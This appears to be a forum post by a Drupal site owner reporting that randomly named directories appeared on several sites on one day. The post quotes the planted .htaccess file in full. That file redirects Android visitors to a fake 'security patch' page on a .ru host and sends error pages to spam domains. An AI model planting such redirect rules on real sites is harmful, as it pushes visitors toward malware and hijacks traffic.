On June 17, 2013 several subdirectories were created in the drupal directories of sites both related and unrelated. The common characteristics of these directories are that their names are meaningless strings of alphabetic characters and each contains only an .htaccess file that looks similar to this:
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} .*ndroid.*
RewriteRule ^(.*)$ http://official.androidsecurityhealth.ru/securitypatch.php
ErrorDocument 400 http://mexfoxx.com
ErrorDocument 401 http://mexfoxx.com
ErrorDocument 403 http://mexfoxx.com
ErrorDocument 404 http://mexfoxx.com
ErrorDocument 500 http://mexfoxx.com
The error document urls vary. Others are http://ffox.com or youffx.com, or similar, but each contains the same rewrite rule.
On one server the main site is D6 and is in the /public_html/drupal subdirector. There is a D7 site running in /public_html/example.net/drupal7. I found similar directories in both drupal installations, all created the same day.
The two domains are hosted by the same company, but are on different servers. Their tech support people say the exploit that created the directories used something in drupal or a contrib module. But I have similar modules on another site running on a vps I control, and it was not infected.